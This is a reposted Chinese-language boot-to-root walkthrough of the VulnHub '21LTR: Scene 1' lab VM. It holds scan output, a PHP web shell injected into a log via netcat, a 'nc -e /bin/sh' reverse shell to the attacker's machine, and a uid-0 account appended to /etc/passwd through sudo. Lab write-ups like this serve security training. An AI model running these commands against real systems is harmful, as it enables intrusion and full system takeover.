Hack the 21LTR: Scene 1 VM (Boot to Root)

Hack the 21LTR: Scene 1 VM (Boot to Root),第1张

概述靶机下载链接: https://www.vulnhub.com/entry/21ltr-scene-1,3/   主机扫描: ╰─ nmap -p1-65535 -sV -sC -A  192.168.2.120 Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-28 11:19 CST Nmap scan report for 192.168.

靶机下载链接:

https://www.vulnhub.com/entry/21ltr-scene-1,3/

 

主机扫描:

╰─ nmap -p1-65535 -sV -sC -A  192.168.2.120

Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-28 11:19 CST
Nmap scan report for 192.168.2.120
Host is up (0.0012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 5.1 (protocol 1.99)
| ssh-hostkey:
| 2048 c0:8c:8b:16:2a:5b:e5:d6:80:6d:cc:f3:ce:27:e6:64 (RSA1)
| 1024 3a:3f:12:21:2d:ba:97:6d:4e:e5:88:1e:17:a5:1f:65 (DSA)
|_ 2048 bb:9d:c0:23:ac:7e:82:7b:c3:e7:46:36:74:88:30:bd (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 2.2.13 ((Unix) DAV/2 PHP/5.2.10)
|_http-server-header: Apache/2.2.13 (Unix) DAV/2 PHP/5.2.10
|_http-Title: Intranet Development Server
MAC Address: 00:0C:29:A4:C3:43 (VMware)
Device type: general purpose
Running: linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: linux 2.6.13 - 2.6.32
Network distance: 1 hop
Service Info: OS: Unix

http://192.168.2.120/index.PHP

<!-- username:logs password:zg]E-b0]+8:(58G -->

 

暂时没什么用处,我们尝试目录枚举下

---- Scanning URL: http://192.168.2.120/ ----
+ http://192.168.2.120/cgi-bin/ (CODE:403|SIZE:210)
+ http://192.168.2.120/index.PHP (CODE:200|SIZE:1323)
==> DIRECTORY: http://192.168.2.120/logs/

---- Entering directory: http://192.168.2.120/logs/ ----

http://192.168.2.120/logs/

ForbIDden

You don‘t have permission to access /logs/ on this server.

http://192.168.2.120/logs/backup_log.PHP

 

这里的基本思路就是怎么把报错的访问请求写进这个文件去,然后通过PHP的代码进行执行。

这里查看了大神的通关过程,是要访问 10001 端口才能写到日志里面来

nc -nv 192.168.2.120 10001

<?PHP system($_GET[‘cmd‘]) ?>

下载FTP的文件查看,已经写入成功。

http://192.168.2.120/logs/backup_log.PHP?cmd=ID

进行shell反d

http://192.168.2.120/logs/backup_log.PHP?cmd=nc -e /bin/sh 192.168.2.128 1234

知道了一个秘钥文件:

/media/USB_1/Stuff/Keys/ID_rsa

╰─ openssl passwd -1 -salt Hack pass123
$1$Hack$22.CgYt2uMolqeatCk9ih/

sudo /usr/bin/cat >> /etc/passwd
Hack:$1$Hack$22.CgYt2uMolqeatCk9ih/:0:0:/root:/bin/bash
^C

完!

总结

以上是内存溢出为你收集整理的Hack the 21LTR: Scene 1 VM (Boot to Root)全部内容,希望文章能够帮你解决Hack the 21LTR: Scene 1 VM (Boot to Root)所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/yw/1022189.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-23
下一篇 2022-05-23

发表评论

登录后才能评论

评论列表(0条)

保存